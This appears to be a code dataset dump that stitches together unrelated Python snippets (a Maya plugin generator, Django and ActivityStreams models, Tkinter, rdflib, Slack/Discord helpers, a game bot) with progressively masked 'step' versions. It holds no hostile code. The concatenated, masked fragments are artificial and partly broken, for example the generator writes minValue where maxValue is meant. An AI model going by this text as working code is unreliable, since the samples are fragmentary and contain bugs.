1)\n\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.readable = False\", 1)\n\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.writable = True\", 1)\n\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.storable = True\", 1)\n\t\t\tif attr[\"keyable\"]:\n\t\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.keyable = True\", 1)\n\t\t\telse:\n\t\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.keyable = False\", 1)\n\t\t\tif attr[\"minValue\"] != None:\n\t\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.minValue = \" + str(attr[\"minValue\"]), 1)\n\t\t\tif attr[\"maxValue\"] != None:\n\t\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.maxValue = \" + str(attr[\"minValue\"]), 1)\n\t\t\tself.writeLine()\n\t\t# Write the output node attributes\n\t\tself.writeLine(\"# Output node attributes\", 1)\n\t\tfor attr in self.outputAttributes:\n\t\t\t# Check if the attribute is numeric or non-numeric (typed)\n\t\t\tif attr[\"type\"] in numericTypes:\n\t\t\t\tattrType = [\"Numeric\", \"Numeric\"]\n\t\t\telse:\n\t\t\t\tattrType = [\"Typed\", \"\"]\n\t\t\tvariableName = className + \".out\" + self.capitalise(attr[\"longName\"])\n\t\t\tfnParameters = \"\\\"\" + attr[\"longName\"] + \"\\\", \\\"\" + attr[\"shortName\"] + \"\\\", om.MFn\" + attrType[1] + \"Data.k\" + attr[\"type\"]\n\t\t\tself.writeLine(variableName + \" = mFn\" + attrType[0] + \"Attribute.create(\" + fnParameters + \")\", 1)\n\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.readable = True\", 1)\n\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.writable = False\", 1)\n\t\t\tself.writeLine(\"mFn\" + attrType[0] + \"Attribute.storable = False\", 1)\n\t\t\tself.writeLine()\n\t\t# Add the attributes to the class\n\t\tself.writeLine(\"# Add the attributes to the class\", 1)\n\t\tfor attr in self.inputAttributes:\n\t\t\tself.writeLine(className + \".addAttribute(\" + className + \".in\" + self.capitalise(attr[\"longName\"]) + \")\", 1)\n\t\tfor attr in self.outputAttributes:\n\t\t\tself.writeLine(className + \".addAttribute(\" + className + \".out\" + self.capitalise(attr[\"longName\"]) + \")\", 1)\n\t\tself.writeLine()\n\t\t# Write the dependencies\n\t\tself.writeLine(\"# Connect input/output dependencies\", 1)\n\t\tfor attr in self.outputAttributes:\n\t\t\tfor dependency in attr[\"dependencies\"]:\n\t\t\t\t# Check if the dependency is an input attribute\n\t\t\t\ttry:\n\t\t\t\t\td = [x[\"longName\"] for x in self.inputAttributes if (x[\"longName\"] == dependency or x[\"shortName\"] == dependency)][0]\n\t\t\t\t\tself.writeLine(className + \".attributeAffects(\" + className + \".in\" + self.capitalise(d) + \", \" + className + \".out\" + self.capitalise(attr[\"longName\"]) + \")\", 1)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\tself.writeLine()\n\n\t## Write the functions for initializePlugin and uninitializePlugin\n\tdef writeInitialiseUninitialiseFunctions(self):\n\t\t# Write the function for initializePlugin\n\t\tself.writeLine(\"## Initialise the plugin when Maya loads it\")\n\t\tself.writeLine(\"def initializePlugin(mobject):\")\n\t\tself.writeLine(\"mplugin = om.MFnPlugin(mobject)\", 1)\n\t\tself.writeLine(\"try:\", 1)\n\t\tself.writeLine(\"mplugin.registerNode(kPluginNodeName, kPluginNodeID, nodeCreator, nodeInitializer)\", 2)\n\t\tself.writeLine(\"except:\", 1)\n\t\tself.writeLine(\"sys.stderr.write(\\\"Failed to register node: \\\" + kPluginNodeName)\", 2)\n\t\tself.writeLine(\"raise\", 2)\n\t\tself.writeLine()\n\t\t# Write the function for uninitializePlugin\n\t\tself.writeLine(\"## Uninitialise the plugin when Maya unloads it\")\n\t\tself.writeLine(\"def uninitializePlugin(mobject):\")\n\t\tself.writeLine(\"mplugin = om.MFnPlugin(mobject)\", 1)\n\t\tself.writeLine(\"try:\", 1)\n\t\tself.writeLine(\"mplugin.deregisterNode(kPluginNodeID)\", 2)\n\t\tself.writeLine(\"except:\", 1)\n\t\tself.writeLine(\"sys.stderr.write(\\\"Failed to unregister node: \\\" + kPluginNodeName)\", 2)\n\t\tself.writeLine(\"raise\", 2)\n\t\tself.writeLine()\n\n# Main\nDGNodeFileCreator()\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
from django.db import models
class Link(models.Model):
text = models.CharField(max_length=100)
link = models.URLField()
def __str__(self):
return self.text
|
normal
|
{
"blob_id": "61a58b934c6663e87824e4f9f9ffd92c3236947c",
"index": 7930,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Link(models.Model):\n <mask token>\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Link(models.Model):\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.text\n",
"step-4": "<mask token>\n\n\nclass Link(models.Model):\n text = models.CharField(max_length=100)\n link = models.URLField()\n\n def __str__(self):\n return self.text\n",
"step-5": "from django.db import models\n\n\nclass Link(models.Model):\n text = models.CharField(max_length=100)\n link = models.URLField()\n\n def __str__(self):\n return self.text\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
from activitystreams.core import Object
class Actor(Object):
"""Describes a generic actor."""
pass
class Application(Actor):
"""Describes a software application."""
pass
class Group(Actor):
"""Represents a formal or informal collective of Actors."""
pass
class Organization(Actor):
"""Represents an organization."""
pass
class Person(Actor):
"""Represents an individual person."""
pass
class Service(Actor):
"""Represents a service of any kind."""
pass
|
normal
|
{
"blob_id": "b92f24cddae7b392af2417b39bb4f58e3f661cc6",
"index": 2785,
"step-1": "<mask token>\n\n\nclass Group(Actor):\n \"\"\"Represents a formal or informal collective of Actors.\"\"\"\n pass\n\n\nclass Organization(Actor):\n \"\"\"Represents an organization.\"\"\"\n pass\n\n\nclass Person(Actor):\n \"\"\"Represents an individual person.\"\"\"\n pass\n\n\nclass Service(Actor):\n \"\"\"Represents a service of any kind.\"\"\"\n pass\n",
"step-2": "<mask token>\n\n\nclass Application(Actor):\n \"\"\"Describes a software application.\"\"\"\n pass\n\n\nclass Group(Actor):\n \"\"\"Represents a formal or informal collective of Actors.\"\"\"\n pass\n\n\nclass Organization(Actor):\n \"\"\"Represents an organization.\"\"\"\n pass\n\n\nclass Person(Actor):\n \"\"\"Represents an individual person.\"\"\"\n pass\n\n\nclass Service(Actor):\n \"\"\"Represents a service of any kind.\"\"\"\n pass\n",
"step-3": "<mask token>\n\n\nclass Actor(Object):\n <mask token>\n pass\n\n\nclass Application(Actor):\n \"\"\"Describes a software application.\"\"\"\n pass\n\n\nclass Group(Actor):\n \"\"\"Represents a formal or informal collective of Actors.\"\"\"\n pass\n\n\nclass Organization(Actor):\n \"\"\"Represents an organization.\"\"\"\n pass\n\n\nclass Person(Actor):\n \"\"\"Represents an individual person.\"\"\"\n pass\n\n\nclass Service(Actor):\n \"\"\"Represents a service of any kind.\"\"\"\n pass\n",
"step-4": "<mask token>\n\n\nclass Actor(Object):\n \"\"\"Describes a generic actor.\"\"\"\n pass\n\n\nclass Application(Actor):\n \"\"\"Describes a software application.\"\"\"\n pass\n\n\nclass Group(Actor):\n \"\"\"Represents a formal or informal collective of Actors.\"\"\"\n pass\n\n\nclass Organization(Actor):\n \"\"\"Represents an organization.\"\"\"\n pass\n\n\nclass Person(Actor):\n \"\"\"Represents an individual person.\"\"\"\n pass\n\n\nclass Service(Actor):\n \"\"\"Represents a service of any kind.\"\"\"\n pass\n",
"step-5": "from activitystreams.core import Object\n\n\nclass Actor(Object):\n \"\"\"Describes a generic actor.\"\"\"\n pass\n\n\nclass Application(Actor):\n \"\"\"Describes a software application.\"\"\"\n pass\n\n\nclass Group(Actor):\n \"\"\"Represents a formal or informal collective of Actors.\"\"\"\n pass\n\n\nclass Organization(Actor):\n \"\"\"Represents an organization.\"\"\"\n pass\n\n\nclass Person(Actor):\n \"\"\"Represents an individual person.\"\"\"\n pass\n\n\nclass Service(Actor):\n \"\"\"Represents a service of any kind.\"\"\"\n pass\n",
"step-ids": [
8,
10,
11,
12,
13
]
}
|
[
8,
10,
11,
12,
13
] |
from tkinter import *
from PIL import ImageTk,Image
import sys, os
# This will display images and icon
root = Tk()
root.title("Expanding GUI")
# With ubuntu, it did not work the icon part
#root.iconbitmap('@/home/gxgarciat/Documents/Tkinter/gdrive.ico')
#root.iconphoto(True, PhotoImage(file="@/home/gxgarciat/Documents/Tkinter/gdrive.ico"))
#root.iconbitmap(os.path.join(sys.path[0], "/home/gxgarciat/Documents/Tkinter/gdrive.ico"))
#root.iconbitmap('~home/gxgarciat/Documents/Tkinter/gdrive.ico')
#root.iconphoto(False, Tk.PhotoImage(file='/home/gxgarciat/Documents/Tkinter/gdrive.ico'))
# Importing images is a 3 step process here.
my_img = ImageTk.PhotoImage(Image.open("googledrive.png"))
my_label = Label(image=my_img)
my_label.pack()
# Adding a quit button
buttonquit = Button(root,text="Exit program",command=root.quit)
buttonquit.pack()
root.mainloop()
|
normal
|
{
"blob_id": "2da10163a40c9720ca9deecd9afb0e39aa885546",
"index": 5523,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nroot.title('Expanding GUI')\n<mask token>\nmy_label.pack()\n<mask token>\nbuttonquit.pack()\nroot.mainloop()\n",
"step-3": "<mask token>\nroot = Tk()\nroot.title('Expanding GUI')\nmy_img = ImageTk.PhotoImage(Image.open('googledrive.png'))\nmy_label = Label(image=my_img)\nmy_label.pack()\nbuttonquit = Button(root, text='Exit program', command=root.quit)\nbuttonquit.pack()\nroot.mainloop()\n",
"step-4": "from tkinter import *\nfrom PIL import ImageTk, Image\nimport sys, os\nroot = Tk()\nroot.title('Expanding GUI')\nmy_img = ImageTk.PhotoImage(Image.open('googledrive.png'))\nmy_label = Label(image=my_img)\nmy_label.pack()\nbuttonquit = Button(root, text='Exit program', command=root.quit)\nbuttonquit.pack()\nroot.mainloop()\n",
"step-5": "from tkinter import *\nfrom PIL import ImageTk,Image\n\nimport sys, os\n\n# This will display images and icon\n\nroot = Tk()\nroot.title(\"Expanding GUI\")\n\n# With ubuntu, it did not work the icon part\n#root.iconbitmap('@/home/gxgarciat/Documents/Tkinter/gdrive.ico')\n#root.iconphoto(True, PhotoImage(file=\"@/home/gxgarciat/Documents/Tkinter/gdrive.ico\"))\n#root.iconbitmap(os.path.join(sys.path[0], \"/home/gxgarciat/Documents/Tkinter/gdrive.ico\"))\n#root.iconbitmap('~home/gxgarciat/Documents/Tkinter/gdrive.ico')\n#root.iconphoto(False, Tk.PhotoImage(file='/home/gxgarciat/Documents/Tkinter/gdrive.ico'))\n\n\n# Importing images is a 3 step process here.\nmy_img = ImageTk.PhotoImage(Image.open(\"googledrive.png\"))\nmy_label = Label(image=my_img)\nmy_label.pack()\n\n# Adding a quit button\nbuttonquit = Button(root,text=\"Exit program\",command=root.quit)\nbuttonquit.pack()\n\nroot.mainloop()\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
x, y = map(int, input().split())
print(max((y - x + 9) // 10, 0))
|
normal
|
{
"blob_id": "c9f3e956d4016846c8efe0382b79882559d6ce64",
"index": 1488,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(max((y - x + 9) // 10, 0))\n",
"step-3": "x, y = map(int, input().split())\nprint(max((y - x + 9) // 10, 0))\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
from rdflib import Graph
from rdflib.plugins.sparql import prepareQuery
def is_file_ontology(file_path):
"""
Method that, given a file, returns its URI.
This method is in a separate file in case we want to extract additional metadata if required
Parameters
----------
@param file_path: path of the candidate ontology
Returns
-------
@return: The URI of the target ontology (if there is one)
"""
# load in rdf lib
try:
g = Graph()
g.parse(file_path)
q1 = prepareQuery('''
SELECT ?onto
WHERE {
?onto a <http://www.w3.org/2002/07/owl#Ontology>.
}
''')
# TO DO: extract title, preferred ns.
# there should be only one ontology per file
for r in g.query(q1):
# print("Found that %s is an ontology" % file_path)
return r.onto
except Exception:
# If the candidate file could not be read, pass
pass
|
normal
|
{
"blob_id": "c327f8f7aece1a9c25079613809df52e9a8e7a52",
"index": 8763,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef is_file_ontology(file_path):\n \"\"\"\n Method that, given a file, returns its URI.\n This method is in a separate file in case we want to extract additional metadata if required\n Parameters\n ----------\n @param file_path: path of the candidate ontology\n\n Returns\n -------\n @return: The URI of the target ontology (if there is one)\n \"\"\"\n try:\n g = Graph()\n g.parse(file_path)\n q1 = prepareQuery(\n \"\"\"\n SELECT ?onto\n WHERE { \n ?onto a <http://www.w3.org/2002/07/owl#Ontology>. \n }\n \"\"\"\n )\n for r in g.query(q1):\n return r.onto\n except Exception:\n pass\n",
"step-3": "from rdflib import Graph\nfrom rdflib.plugins.sparql import prepareQuery\n\n\ndef is_file_ontology(file_path):\n \"\"\"\n Method that, given a file, returns its URI.\n This method is in a separate file in case we want to extract additional metadata if required\n Parameters\n ----------\n @param file_path: path of the candidate ontology\n\n Returns\n -------\n @return: The URI of the target ontology (if there is one)\n \"\"\"\n try:\n g = Graph()\n g.parse(file_path)\n q1 = prepareQuery(\n \"\"\"\n SELECT ?onto\n WHERE { \n ?onto a <http://www.w3.org/2002/07/owl#Ontology>. \n }\n \"\"\"\n )\n for r in g.query(q1):\n return r.onto\n except Exception:\n pass\n",
"step-4": "from rdflib import Graph\nfrom rdflib.plugins.sparql import prepareQuery\n\n\ndef is_file_ontology(file_path):\n \"\"\"\n Method that, given a file, returns its URI.\n This method is in a separate file in case we want to extract additional metadata if required\n Parameters\n ----------\n @param file_path: path of the candidate ontology\n\n Returns\n -------\n @return: The URI of the target ontology (if there is one)\n \"\"\"\n # load in rdf lib\n try:\n g = Graph()\n g.parse(file_path)\n q1 = prepareQuery('''\n SELECT ?onto\n WHERE { \n ?onto a <http://www.w3.org/2002/07/owl#Ontology>. \n }\n ''')\n # TO DO: extract title, preferred ns.\n # there should be only one ontology per file\n for r in g.query(q1):\n # print(\"Found that %s is an ontology\" % file_path)\n return r.onto\n except Exception:\n # If the candidate file could not be read, pass\n pass\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
was = input()
print(was)
|
normal
|
{
"blob_id": "e12c411814efd7cc7417174b51f0f756589ca40b",
"index": 3325,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nprint(was)\n",
"step-3": "was = input()\nprint(was)\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
"""slack_utils.py: slack-specific utilities"""
from os import path
import pprint
HERE = path.abspath(path.dirname(__file__))
PP = pprint.PrettyPrinter(indent=2)
def parse_slack_message_object(message_obj):
"""parse user_name/channel_name out of slack controller
Notes:
`slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]
Args:
message_obj (:obj:`slackbot.message`): response object for slack
Returns:
dict: message data
"""
metadata = dict(message_obj._body)
try:
metadata['channel_name'] = message_obj._client.channels[metadata['channel']]['name']
except KeyError:
metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(
message_obj._client.users[metadata['user']]['name']
)
metadata['user_name'] = message_obj._client.users[metadata['user']]['name']
metadata['team_name'] = message_obj._client.login_data['team']['name']
return metadata
def parse_discord_context_object(context_obj):
"""parse user_name/channel_name out of discord controller
Args:
context_obj (:obj:`discord.context`): response object for discord
Returns:
dict: standardized message data
"""
metadata = dict() # TODO: all context_obj.message.{children}.name values
metadata['user_name'] = context_obj.message.author.name
metadata['team_name'] = context_obj.message.server.name
try:
metadata['channel_name'] = context_obj.message.channel.name
except Exception:
metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.message.author.name)
return metadata
|
normal
|
{
"blob_id": "2df2cccc22aba2104ab15820e13d304addf83f63",
"index": 7163,
"step-1": "<mask token>\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n",
"step-3": "<mask token>\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n",
"step-4": "<mask token>\nfrom os import path\nimport pprint\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata[\n 'channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(message_obj.\n _client.users[metadata['user']]['name'])\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n return metadata\n\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict()\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.\n message.author.name)\n return metadata\n",
"step-5": "\"\"\"slack_utils.py: slack-specific utilities\"\"\"\nfrom os import path\nimport pprint\n\nHERE = path.abspath(path.dirname(__file__))\nPP = pprint.PrettyPrinter(indent=2)\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n Args:\n message_obj (:obj:`slackbot.message`): response object for slack\n\n Returns:\n dict: message data\n\n \"\"\"\n metadata = dict(message_obj._body)\n try:\n metadata['channel_name'] = message_obj._client.channels[metadata['channel']]['name']\n except KeyError:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(\n message_obj._client.users[metadata['user']]['name']\n )\n metadata['user_name'] = message_obj._client.users[metadata['user']]['name']\n metadata['team_name'] = message_obj._client.login_data['team']['name']\n\n return metadata\n\ndef parse_discord_context_object(context_obj):\n \"\"\"parse user_name/channel_name out of discord controller\n\n Args:\n context_obj (:obj:`discord.context`): response object for discord\n\n Returns:\n dict: standardized message data\n\n \"\"\"\n metadata = dict() # TODO: all context_obj.message.{children}.name values\n metadata['user_name'] = context_obj.message.author.name\n metadata['team_name'] = context_obj.message.server.name\n try:\n metadata['channel_name'] = context_obj.message.channel.name\n except Exception:\n metadata['channel_name'] = 'DIRECT_MESSAGE:{}'.format(context_obj.message.author.name)\n\n return metadata\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
#! /usr/bin/env python3
import arg_parser
import colors
import logging
import sys
def parse_args(argv):
parser = arg_parser.RemoteRunArgParser()
return parser.parse(argv[1:])
def main(argv):
logging.basicConfig(
format='%(levelname)s: %(message)s',
level='INFO',
handlers=[colors.ColorizingStreamHandler(sys.stderr)])
try:
args = parse_args(argv)
except Exception as exc:
logging.exception(exc)
return 1
try:
action = args['action'](args)
except Exception as exc:
logging.error(exc)
return 1
try:
return not action.launch()
except Exception as exc:
if 'log_level' in action.config and action.config['log_level'] == 'DEBUG':
logging.exception(exc)
else:
logging.error(str(exc))
return 2
if __name__ == '__main__':
sys.exit(main(sys.argv))
|
normal
|
{
"blob_id": "72d1a0689d4cc4f78007c0cfa01611e95de76176",
"index": 3908,
"step-1": "<mask token>\n\n\ndef main(argv):\n logging.basicConfig(format='%(levelname)s: %(message)s', level='INFO',\n handlers=[colors.ColorizingStreamHandler(sys.stderr)])\n try:\n args = parse_args(argv)\n except Exception as exc:\n logging.exception(exc)\n return 1\n try:\n action = args['action'](args)\n except Exception as exc:\n logging.error(exc)\n return 1\n try:\n return not action.launch()\n except Exception as exc:\n if 'log_level' in action.config and action.config['log_level'\n ] == 'DEBUG':\n logging.exception(exc)\n else:\n logging.error(str(exc))\n return 2\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef parse_args(argv):\n parser = arg_parser.RemoteRunArgParser()\n return parser.parse(argv[1:])\n\n\ndef main(argv):\n logging.basicConfig(format='%(levelname)s: %(message)s', level='INFO',\n handlers=[colors.ColorizingStreamHandler(sys.stderr)])\n try:\n args = parse_args(argv)\n except Exception as exc:\n logging.exception(exc)\n return 1\n try:\n action = args['action'](args)\n except Exception as exc:\n logging.error(exc)\n return 1\n try:\n return not action.launch()\n except Exception as exc:\n if 'log_level' in action.config and action.config['log_level'\n ] == 'DEBUG':\n logging.exception(exc)\n else:\n logging.error(str(exc))\n return 2\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef parse_args(argv):\n parser = arg_parser.RemoteRunArgParser()\n return parser.parse(argv[1:])\n\n\ndef main(argv):\n logging.basicConfig(format='%(levelname)s: %(message)s', level='INFO',\n handlers=[colors.ColorizingStreamHandler(sys.stderr)])\n try:\n args = parse_args(argv)\n except Exception as exc:\n logging.exception(exc)\n return 1\n try:\n action = args['action'](args)\n except Exception as exc:\n logging.error(exc)\n return 1\n try:\n return not action.launch()\n except Exception as exc:\n if 'log_level' in action.config and action.config['log_level'\n ] == 'DEBUG':\n logging.exception(exc)\n else:\n logging.error(str(exc))\n return 2\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n",
"step-4": "import arg_parser\nimport colors\nimport logging\nimport sys\n\n\ndef parse_args(argv):\n parser = arg_parser.RemoteRunArgParser()\n return parser.parse(argv[1:])\n\n\ndef main(argv):\n logging.basicConfig(format='%(levelname)s: %(message)s', level='INFO',\n handlers=[colors.ColorizingStreamHandler(sys.stderr)])\n try:\n args = parse_args(argv)\n except Exception as exc:\n logging.exception(exc)\n return 1\n try:\n action = args['action'](args)\n except Exception as exc:\n logging.error(exc)\n return 1\n try:\n return not action.launch()\n except Exception as exc:\n if 'log_level' in action.config and action.config['log_level'\n ] == 'DEBUG':\n logging.exception(exc)\n else:\n logging.error(str(exc))\n return 2\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n",
"step-5": "#! /usr/bin/env python3\n\nimport arg_parser\nimport colors\n\nimport logging\nimport sys\n\ndef parse_args(argv):\n parser = arg_parser.RemoteRunArgParser()\n return parser.parse(argv[1:])\n\n\ndef main(argv):\n logging.basicConfig(\n format='%(levelname)s: %(message)s',\n level='INFO',\n handlers=[colors.ColorizingStreamHandler(sys.stderr)])\n\n try:\n args = parse_args(argv)\n except Exception as exc:\n logging.exception(exc)\n return 1\n \n try:\n action = args['action'](args)\n except Exception as exc:\n logging.error(exc)\n return 1\n \n try:\n return not action.launch()\n except Exception as exc:\n if 'log_level' in action.config and action.config['log_level'] == 'DEBUG':\n logging.exception(exc)\n else:\n logging.error(str(exc))\n return 2\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
#!/usr/bin/env python
import sys
import random
def apply(mine, target, diff):
if mine == [1, 1, 1, 1] or target == [1, 1, 1, 1]:
return -1
if diff < 0:
for i in range(0, 4):
if i - diff < 4:
mine[i] = mine[i - diff]
else:
mine[i] = 0
elif diff > 0:
for i in range(3, -1, -1):
if i - diff > -1:
mine[i] = mine[i - diff]
else:
mine[i] = 0
count = 0
for i in range(0, 4):
target[i] ^= mine[i]
if target[i]:
count += 1
return count
while True:
turn = int(raw_input())
finger = [[], []]
for i in range(0, 2):
for j in range(0, 2):
finger[i].append([int(k) for k in raw_input().split()])
maximum = -1
response = []
for i in range(0, 2):
for j in range(0, 2):
for k in range(-3, 4):
result = apply(finger[0][i], finger[1][j], k)
if result > maximum:
maximum = result
response = [(i, j, k)]
elif result == maximum:
response.append((i, j, k))
if maximum != -1:
print ' '.join([str(i) for i in random.choice(response)])
else:
print '2 2 0'
sys.stdout.flush()
|
normal
|
{
"blob_id": "44d1412d48886eb9126a895d61004e6ccbd4850b",
"index": 7636,
"step-1": "#!/usr/bin/env python\nimport sys\nimport random\n\ndef apply(mine, target, diff):\n\tif mine == [1, 1, 1, 1] or target == [1, 1, 1, 1]:\n\t\treturn -1\n\n\tif diff < 0:\n\t\tfor i in range(0, 4):\n\t\t\tif i - diff < 4:\n\t\t\t\tmine[i] = mine[i - diff]\n\t\t\telse:\n\t\t\t\tmine[i] = 0\n\telif diff > 0:\n\t\tfor i in range(3, -1, -1):\n\t\t\tif i - diff > -1:\n\t\t\t\tmine[i] = mine[i - diff]\n\t\t\telse:\n\t\t\t\tmine[i] = 0\n\n\tcount = 0\n\tfor i in range(0, 4):\n\t\ttarget[i] ^= mine[i]\n\t\tif target[i]:\n\t\t\tcount += 1\n\treturn count\n\nwhile True:\n\tturn = int(raw_input())\n\tfinger = [[], []]\n\tfor i in range(0, 2):\n\t\tfor j in range(0, 2):\n\t\t\tfinger[i].append([int(k) for k in raw_input().split()])\n\n\tmaximum = -1\n\tresponse = []\n\tfor i in range(0, 2):\n\t\tfor j in range(0, 2):\n\t\t\tfor k in range(-3, 4):\n\t\t\t\tresult = apply(finger[0][i], finger[1][j], k)\n\t\t\t\tif result > maximum:\n\t\t\t\t\tmaximum = result\n\t\t\t\t\tresponse = [(i, j, k)]\n\t\t\t\telif result == maximum:\n\t\t\t\t\tresponse.append((i, j, k))\n\t\n\tif maximum != -1:\n\t\tprint ' '.join([str(i) for i in random.choice(response)])\n\telse:\n\t\tprint '2 2 0'\n\tsys.stdout.flush()\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
from typing import List
class CourseSchedule:
"""
Problem: Course Schedule (#207)
Key Insights:
1. Create adjaceny list of courses to prerequisites.
2. Use DFS and visited set to detect a cycle. If there is a cycle, cannot finish all the courses.
3. Remember to remove a course (node) from visited set if that course is "cleared" (able to take the course).
4. Note that this is not a cycle (so if don't remove node in step 3, would incorrectly identify this as a cycle):
1 -> 2 -> 3
2 -> 4 -> 3
More info:
1. Concept of Topological order: for an edge uv, u must always come before v (so no cycles where v also comes before u)
Time Complexity:
O(V + E):
1. Create pre_map: O(P), P: prerequisites
a. We're iterating through the list of prereqs
2. Call dfs: O(C), C: courses
a. We're iterating through all the courses once
3. dfs: O(V + E)
a. We visit each course and each edge at most once
Space Complexity: O(V + E)
1. Create pre_map: O(V + E), V: courses, E: prereqs
2. dfs call stack: O(V + E)
"""
